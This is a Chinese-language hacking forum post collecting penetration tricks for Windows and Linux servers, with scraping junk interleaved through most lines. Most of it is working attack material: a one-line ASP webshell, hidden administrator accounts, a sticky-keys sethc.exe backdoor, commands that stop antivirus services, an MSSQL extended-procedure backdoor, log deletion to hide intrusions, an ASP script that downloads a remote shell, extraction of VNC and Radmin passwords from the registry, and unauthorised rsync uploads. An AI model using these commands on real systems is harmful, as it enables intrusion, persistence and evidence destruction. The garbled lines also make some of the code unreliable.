渗透技巧总结

admin

旁站路径问题
8 g: n' K/ I% w( h' F& p5 o1、读网站配置。
7 O( L" J% U3 d* V' F4 h! w7 R2、用以下VBS
( R$ ?4 q! s. ^6 P- Z+ X3 z+ |+ z5 aOn Error Resume Next
3 {6 m4 }0 x& z5 P+ l% @+ {/ M0 `If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        

Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

  |  C  s7 C- XUsage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
End If
Set ObjService=GetObject

("IIS://LocalHost/W3SVC")
6 @) _$ @& g# ~4 |4 M  R5 ^6 fFor Each obj3w In objservice
/ Y  ?: @2 f% ?4 K1 C- {( \" r        If IsNumeric(obj3w.Name)

Then
! h4 _5 z' Z3 Z+ u8 ?' v. P9 ]& b                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
  z/ _( k  \: H. ~& G/ A         
# g% k3 z7 ~8 O  A# t( t
       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
7 A9 U7 [& T  i' w# e' O  o                If Err

1 i8 [. r* T  u! [: D<> 0 Then WScript.Quit (1)
6 C+ j& S- G: V. J- g3 `, i                WScript.Echo Chr(10) & "[" &

; Q$ B" f* q  S" l9 a, GOService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
     
& r7 y2 a, J& x
! N" o. G; \2 Q+ t- x/ V                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
/ p) Q2 A) Z. H9 r3 r' T                        

1 q4 c5 ]( U) `& l1 y0 F/ x7 w( OWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
# A+ q3 D/ t$ @. h: \' X9 h      

' H5 V& f( Z* V6 ~4 t1 S/ @! F         WScript.Echo "ath            : " & VDirObj.Path
8 g) S) P3 z4 d( }* m        End If
Next
" W$ p& e! U: R+ X复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
$ X: w- S1 F6 k7 I' X4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
- V& v  d2 e; Q—————————————————————
WordPress的平台，爆绝对路径的方法是：
. l/ I) y8 d( _% o7 L4 ^3 kurl/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
7 b' B$ f1 P0 G' t$ p2 L/ T, Z——————————————————————
/ q9 L* r. G* j) E$ xphpMyAdmin暴路径办法:
  u  `: I+ m6 WphpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
1 U# @5 d9 f) H* G, r6 ^+ sphpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
网站可能目录(注：一般是虚拟主机类）
$ I2 U. T! {% n9 t# odata/htdocs.网站/网站/
————————————————————
CMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
netsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
5 V7 B! e" @/ n; P命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
4 h: \  x$ ~6 h( Vexec master.dbo.sp_addlogin test,123
" Y' G8 |7 ^2 V0 L7 I3 j% IEXEC sp_addsrvrolemember 'test, 'sysadmin'
- R* m2 P0 q" j" i1 ~然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
, e: M: D  z+ m1 Vjs:
9 a& L. h3 e" i, P' Ivar o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
# d0 P/ N/ o# J) G1 Dz.changePassword("123456","")
% c4 H# e3 u! L+ K6 L+ d& Sz.setting("AccountType")=3;
. H) g2 F7 `& V3 X9 w" k
6 T+ }# D9 w9 B( A* j% E, u- Jvbs:
( @  V* c  j- K, ~& z! W5 KSet   o=CreateObject( "Shell.Users" )
: n4 u+ c# ?. d: H" vSet z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3
1 ]; r# L! D4 E, ^. h4 Z——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

0 O3 |( a1 ]  p& R. ]5 r  u命令如下
cacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
/ N1 X( w3 k& y1 ]+ r4 S1 @7 gc、终端服务器超出了最大允许连接
XP 运行mstsc /admin
3 {+ K5 Y, u8 C( A2 d2003 运行mstsc /console   
' h5 u1 K; F5 h+ ]7 I2 w. s7 p0 A  r
) L9 ]6 c) V, g! I$ N& E/ {杀软关闭（把杀软所在的文件的所有权限去掉）
: w8 B7 E% [" u# `' h5 b4 B% |处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
5 M1 {, v6 M& Enet stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
4 O  x( q" }: J* j7 anet stop "System Event Notification" /y
& p1 r4 N& k% |& L1 U, i# s4 w; J9 }net stop "Symantec Settings Manager" /y

卖咖啡：net stop "McAfee McShield"
————————————————————
1 j  H+ B. u, T, W/ G+ @
5次SHIFT：
( T9 {! e: C$ n! t1 j! Z. icopy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
' D$ f1 q7 U9 R# ncopy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
3 \$ K7 E0 w/ F- `& `——————————————————————
" x2 m/ b7 j# y$ J7 F& t隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
MSSQL扩展后门：
USE master;
+ \* }3 s5 c0 A& r* \' V$ V7 F, VEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
' r0 D3 [& S6 s7 t! ^1 z. y. k+ t, qGRANT exec On xp_helpsystem TO public;
———————————————————————
2 q+ P6 v+ a2 w2 F3 [3 B- l日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
* |. m5 E8 I! s# p& L3 Q不成功，“原文件...正在使用”
. e% G9 H& i8 s! g2 J- ^当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
( n7 }5 M+ ?# x, `当停止msftpsvc服务后可直接删除ex011124.log

8 Z/ \  \8 e  b+ W: }) S  RMSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
7 o1 G9 j4 s# IHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
$ N; }9 g+ H' ^) o$ m找到接接过的信息删除。
4 C/ X7 \3 H0 _, f+ ~+ GMSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
+ V+ P: `; ?: W0 E% K8 d
/ \5 B- M9 G! {2 t8 {( PServer\90\Tools\Shell\mru.dat
—————————————————————————
, a  a" u" z8 g7 B防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

% \1 n# u7 B, W$ t! J8 ]# m<%
8 [& p9 f# a& v( H! RSub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
3 h: G4 }  T. m: j) hDim Ads, Retrieval, GetRemoteData
On Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
( J9 J0 P4 n  ~0 nWith Retrieval
8 l) z5 T% g4 o+ K% _.Open "Get", s_RemoteFileUrl, False, "", ""
0 R( z4 i& |) p3 r.Send
GetRemoteData = .ResponseBody
( f; ?& h* ]! [1 OEnd With
Set Retrieval = Nothing
+ c/ Z0 `3 ]6 h8 oSet Ads = Server.CreateObject("Adodb.Stream")
With Ads
.Type = 1
! B, j& D( e* n% h.Open
. O; J% {" [0 S- U/ }0 {% y( O4 W, r.Write GetRemoteData
: W) G$ B2 O" d/ c7 g.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
.Close()
5 {5 V4 j. I! t1 P' L5 Z; AEnd With
Set Ads=nothing
End Sub

eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>
4 t4 ]: `* N2 U+ R$ [
8 v8 G3 t1 V7 O8 W! d6 {+ HVNC提权方法:
利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
& V/ X) v( Y+ ~注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
* F% a6 b# E4 P; s8 v/ K3 P2 e8 N- Zregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
0 T" a& b- W0 @. E9 Hregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
  K0 I! K( @9 m6 I/ P! aHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
5 u2 u" {) g3 p/ R搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。

1433 SA点构建注入点。
<%
strSQLServerName = "服务器ip"
) w' l+ l4 N! m0 s1 C1 c2 A# ~1 BstrSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
& P/ A" M3 R9 k" Y& Y. Q6 pstrSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
; y9 Y+ e+ k' N8 e" b9 Y
; n+ ~. y9 F5 y5 c) ystrSQLDBName & ";"
/ I; d$ l/ h( q" j. Econn.open strCon
# Y& j7 S) K/ B9 X3 v. wdim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
id = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
, ]# L( G- F3 _%>
复制代码
4 U, m) U" s4 v1 c% F( }# f******liunx 相关******
一.ldap渗透技巧
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
# w" t; u, l7 u7 J' w" n2 ?8 l$ o' C
2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
# C% B0 d) B5 Q. N: A* l; w% n' k找到ou,dc,dc设置

3.查找管理员信息
2 i- _# f+ I4 Z8 I* W/ o匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
6 D. a4 `4 L6 @2 F8 w0 @- A" A$ k
' k/ Q5 \( o' J3 h"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
- [$ I4 V7 {+ A. s, f5 x* m+ O3 b8 rldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

2 D9 P" D. }  R/ ?$ k& q
$ m9 X1 j5 k; C. q1 C, t, c4.查找10条用户记录
: g& k' p# q  D- I# l1 c& xldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

) L# r' O0 J, ?: x! e1 C实战:
. L7 F4 I( C4 t8 [! K1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
% g2 N+ @1 ^/ a2 J0 |  ^
2.less /etc/ldap.conf
# k$ m* {  Y2 w; P6 d1 Pbase ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
, w- x7 U7 a6 P/ k( _& n# r7 [
4 E$ R4 I9 @0 B% o' V- G" [3.查找管理员信息
匿名方式
1 j5 ]2 t. S" V1 G: B% \3 M, r) `) Uldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
3 p( j1 R) G, P, @$ V, p: H# l- K
. b6 b1 s  v% l- G" X( Q9 N"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
' R  m* s3 l0 D2 z; I1 s9 z有密码形式
; h6 j8 l- h% i# ^ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
8 m4 I' w# R6 w6 e1 E; J
* z( ]2 y& t  z9 j  _"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
" x  x, k5 `0 A6 @( w

. \+ {" U3 E0 ^6 N; B5 |# \7 D4.查找10条用户记录
4 n" U2 V8 _3 c# x" D9 d. Y/ Kldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
( {- g3 ?9 W. G  @5 }) P
& q6 {( }2 u- v( Q渗透实战:
1.返回所有的属性
1 f) P, L# n. [; Y. V) o9 p' m8 m$ \ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
dn: dc=ruc,dc=edu,dc=cn
6 ]$ x. }9 J3 d9 Wdc: ruc
objectClass: domain

dn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
: M/ e8 r+ [- V9 y" j3 y! p6 r7 CobjectClass: inetOrgPerson
* Y; O. |( I" q, \9 @7 u1 H) N( AobjectClass: organizationalPerson
objectClass: person
  ?/ B) t6 M3 G% XobjectClass: top
sn: manager
( f% q, F8 b: scn: manager

dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
objectClass: inetOrgPerson
8 ?' X, y, U, b9 AobjectClass: organizationalPerson
objectClass: person
9 L5 [0 V0 }9 V: J" g* s+ tobjectClass: top
8 W' W1 n0 f' w: p: ?- z1 q& Usn: superadmin
; F! ~5 E3 @0 E, j8 t2 m, Ncn: superadmin

dn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
* g& {; N6 g" ~0 [3 ^objectClass: inetOrgPerson
' e  l6 r5 d2 H& gobjectClass: organizationalPerson
5 v9 d/ m6 `9 @) robjectClass: person
objectClass: top
* R# Z4 H! a; B& D+ Rsn: admin
cn: admin
0 ]2 u% ?! k, b' Y* m
dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
' F! h, X1 O. a8 {2 ]uid: dcp_anonymous
4 s* a/ u7 f3 d0 WobjectClass: top
objectClass: person
objectClass: organizationalPerson
5 }7 j) Z8 u0 g: K* x( J& \objectClass: inetOrgPerson
sn: dcp_anonymous
+ V+ V3 W( B) ~$ ycn: dcp_anonymous

) N7 H/ y, e) |6 [2.查看基类
; H3 N' D3 O1 Ibash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

more
- m, W8 D% R% O2 @2 [- N# wversion: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain
' Z  D7 U% C. U  a
3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
4 y7 y6 @! A* o8 ]6 nversion: 1
dn:
. o# L8 W8 u" r. d) K: @0 W! oobjectClass: top
: z9 T, D. @; }$ P4 VnamingContexts: dc=ruc,dc=edu,dc=cn
# Q( u6 Y6 k5 n' e% |supportedExtension: 2.16.840.1.113730.3.5.7
3 }& U+ c) k0 N2 z' \supportedExtension: 2.16.840.1.113730.3.5.8
! v* o5 U6 {1 hsupportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
! K' [( V7 x! Y1 k- }: X; u) V+ `) gsupportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
4 Q/ }' C! P+ X- u; L6 @9 FsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
0 O: [2 L" W) J* TsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
7 W# H7 Z1 m: J, l2 D9 QsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
4 X. c$ D, J0 h; asupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
0 }9 z# ^5 `$ z6 v9 s1 _3 t  l+ a; JsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
" @# N* }( T# S& {$ q4 }, MsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
+ h  m. s+ Y0 o4 f: s- vsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
2 H; i* U" T! R7 [supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
0 P* }* L% x, e, `supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
0 \* i) }& X' x( bsupportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
9 \2 r* H+ c0 M2 I; FsupportedControl: 1.2.840.113556.1.4.473
9 ~, W! o% j0 `* e. W9 K4 G7 ]supportedControl: 2.16.840.1.113730.3.4.9
+ t- Q. c( ?9 e  e$ psupportedControl: 2.16.840.1.113730.3.4.16
( e* n3 l2 G' B  B3 e( R& ~supportedControl: 2.16.840.1.113730.3.4.15
supportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
, o8 J1 u5 Y0 j% ysupportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
, w$ n0 m3 l! H, n6 [" g* k! _supportedControl: 1.3.6.1.4.1.1466.29539.12
( k: u" @. m( C7 ], n! K7 ^supportedControl: 2.16.840.1.113730.3.4.12
2 u( ~9 B/ u* m$ v; GsupportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
4 B' t! V0 L( Y7 r! L: QsupportedSASLMechanisms: EXTERNAL
* a7 m5 U- ^5 W# U5 u' @  BsupportedSASLMechanisms: DIGEST-MD5
# H0 \5 J5 y. f* x/ r3 j, s. ksupportedLDAPVersion: 2
6 p) m6 ^6 p( U! n; fsupportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
: t4 W& w* L( E8 {5 A' u6 \vendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
, ~0 ^  h* @/ l8 F( O  nsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
  ]+ V) o. j, g, s" F8 N' dsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
# F- ?  ^4 S, c+ z- J3 w' L$ x3 [' LsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
! Q1 x; r3 r, b8 l  E* n) BsupportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
6 V* M  v. K! u7 o; [$ MsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
0 ~( S) {2 w; V) k4 w2 ~. tsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
+ ?3 U6 L+ |" {$ A7 ]+ rsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
  h0 ?* _+ o2 h" t% a: [4 KsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
- P/ Y: {/ R. b% r! XsupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
" E) j/ u4 N8 G3 P/ ^supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
$ v; N, y, {% M% s6 o5 U. k5 k9 csupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
, y  p$ c. }+ }3 S: d1 Q  f% F$ S: jsupportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
) c1 _  P5 U) I: H* m) o, B9 `7 GsupportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
8 ^* ^% {) y" osupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
% `! L. q/ _8 w+ o8 ^7 _2 H4 YsupportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
( g! K" w1 O0 y" R7 W- k  y- gsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
7 d0 Y& t+ C$ h9 c2 \, h9 E8 @supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
( `5 G- v' U7 Q# y: ksupportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
% }) K5 k$ u- [% ?$ IsupportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
3 |0 f# H3 @9 _" W2 {) ?7 ]supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
/ ?" o' k: Q& ysupportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
6 n$ z8 I4 P5 G( S9 l( K" y5 IsupportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
5 f- }" v; E* A3 {! WsupportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
# L( o) s- s' `+ L% p1 D9 DsupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
# ?. J1 k& M: ]# g7 ?7 b$ u9 V; WsupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
) D) x5 ^8 I5 t/ C4 l/ S————————————
2. NFS渗透技巧
  a$ I9 I% w2 |+ ?" Mshowmount -e ip
列举IP
6 }2 I& |* y4 K/ J( U——————
3.rsync渗透技巧
1.查看rsync服务器上的列表
% s3 g; g3 z: w( h% wrsync 210.51.X.X::
finance
' [1 r  S6 i8 v+ x! n8 ximg_finance
auto
img_auto
html_cms
, Y" d2 P0 d9 ]; f" Y- E# nimg_cms
! o/ z+ u  g" F1 B' ^ent_cms
ent_img
ceshi
7 V" ]% v7 k6 j" Gres_img
0 M( z3 ]# V' Q4 A" k9 |, M" _res_img_c2
chip
) P6 T  O9 y4 z6 ?, s5 X1 e8 z: [. Lchip_c2
6 v5 w/ G' s0 T0 w* `3 J" _ent_icms
' j0 z8 _  T5 K3 b8 q# ygames
# E. }+ X! m7 I$ [, mgamesimg
! `# T2 ~. i& A( [media
. k4 J% H0 S. o7 omediaimg
fashion
/ z) y3 f; @* Q& C0 r  w# F" nres-fashion
" D' Q; ]! y( a9 B3 rres-fo
taobao-home
res-taobao-home
# A6 u+ p0 g/ `6 \. s" Ahouse
res-house
" R" U8 O, i/ C7 _7 ^2 q) w, l, qres-home
0 q1 j3 d1 l  C* W+ Z0 R6 @' ores-edu
# d, G" e7 h' w" }res-ent
' m8 J6 E9 n5 L/ r; ares-labs
res-news
res-phtv
5 L% L* ?- c* ~+ S/ ^res-media
home
  Z8 g, q0 ^# [edu
news
res-book

4 y5 C% ?+ Y3 N& U4 j/ x看相应的下级目录(注意一定要在目录后面添加上/)
. P, h+ V1 W( I9 s
+ n3 z! q: \+ {5 G) [+ E2 q4 g% |6 j
! Y* ^' r7 q- V: f4 C: z+ i$ krsync 210.51.X.X::htdocs_app/
4 W! @- a9 Y5 l" Y3 z! k9 zrsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/
3 R$ O, b  o- C/ K
2.下载rsync服务器上的配置文件
, v7 x% f$ U, R6 L; C  t$ wrsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

0 |+ k, ?0 K" S3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt
- q4 o$ R# {0 j: D
四.squid渗透技巧
nc -vv baidu.com 80
; o' }% ?% S% j+ i8 K3 }& FGET HTTP://www.sina.com / HTTP/1.0
8 h6 o! G6 A) {& PGET HTTP://WWW.sina.com:22 / HTTP/1.0
# O5 h' b, q! C* F# `五.SSH端口转发
9 N. D2 W8 p5 C/ o2 k. Kssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
5 A' c6 W" y2 X' \. n. z
六.joomla渗透小技巧
# X  b& V1 a3 {  h5 `/ [0 R8 _! t确定版本
# c0 Z5 K/ l: q. iindex.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
* ^! ~+ q$ n# m. n1 X
15&catid=32:languages&Itemid=47

  V& H* ?) P1 y* z6 I重新设置密码
7 W5 X7 B# ]( D  m& d" `# }: u  f3 h5 xindex.php?option=com_user&view=reset&layout=confirm
1 Y# _( ~3 \& I  w) |" e
七: Linux添加UID为0的root用户
useradd -o -u 0 nothack
  {% o. Y' G& h, r4 k2 S
7 S1 V2 C# M* c" @9 f1 H5 J' [八.freebsd本地提权
# M- T, V* \% h6 q/ S" |; J+ Y4 N+ |[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
' ~9 x9 a$ {, _8 O1 ^3 w* vfs.usermount: 1
- W0 {$ _1 H- u8 \; s& p. s* [argp@julius ~]$ id
